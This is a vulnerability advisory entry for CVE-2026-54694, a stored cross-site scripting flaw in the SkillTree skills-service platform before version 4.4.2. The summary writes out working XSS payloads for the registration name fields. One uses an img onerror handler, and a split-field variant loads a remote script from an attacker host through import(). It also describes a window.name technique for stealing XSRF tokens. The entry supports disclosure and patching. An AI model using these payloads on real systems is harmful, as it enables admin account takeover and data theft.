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Fencer Intel
critical 9.6

CVE-2026-54694 json

NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover

published 4mo ago modified 2mo ago also EUVD-2026-75116 , GHSA-hqfg-c8wf-w2g8

Unreviewed: the maintainers' own advisory

Published by the maintainers on their GitHub repository NationalSecurityAgency/skills-service. GitHub has not reviewed it into the GitHub Advisory Database, so the affected packages and versions are the maintainers' word. Read the full advisory on GitHub.

cvss
9.6
version 3.1, CNA
cisa kev
Not listed
not in CISA's catalog
epss
0.5%
EPSS 0.5% chance of exploitation in 30 days, percentile 41%
public exploits
0
none known

Summary

SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.

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CISA SSVC

Exploitation
Proof of concept is public
Automatable
no
Technical impact
total
Assessed
2mo ago

Exploit prediction

0.47% chance of exploitation in the next 30 days, higher than 41% of all scored CVEs (FIRST EPSS, 2026-11-11).

Exploits and checks

  • github.com https://github.com/NationalSecurityAgency/skills-service/security/advisories/GHSA-hqfg-c8wf-w2g8 referenced PoC, tagged "exploit" by a source, unverified

CVSS scores

assigned by version score vector
CNA 3.1 9.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

Affected products

  • NationalSecurityAgency skills-service

Classification

Weakness
  • CWE-20 Improper Input Validation
  • CWE-79 Improper Neutralization of Input During Web Page Generation
  • CWE-116 Improper Encoding or Escaping of Output
  • CWE-183 Permissive List of Allowed Inputs
  • CWE-693 Protection Mechanism Failure

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.

The maintainers of NationalSecurityAgency/skills-service published their own advisory on GitHub. Reviewed sources take precedence over it.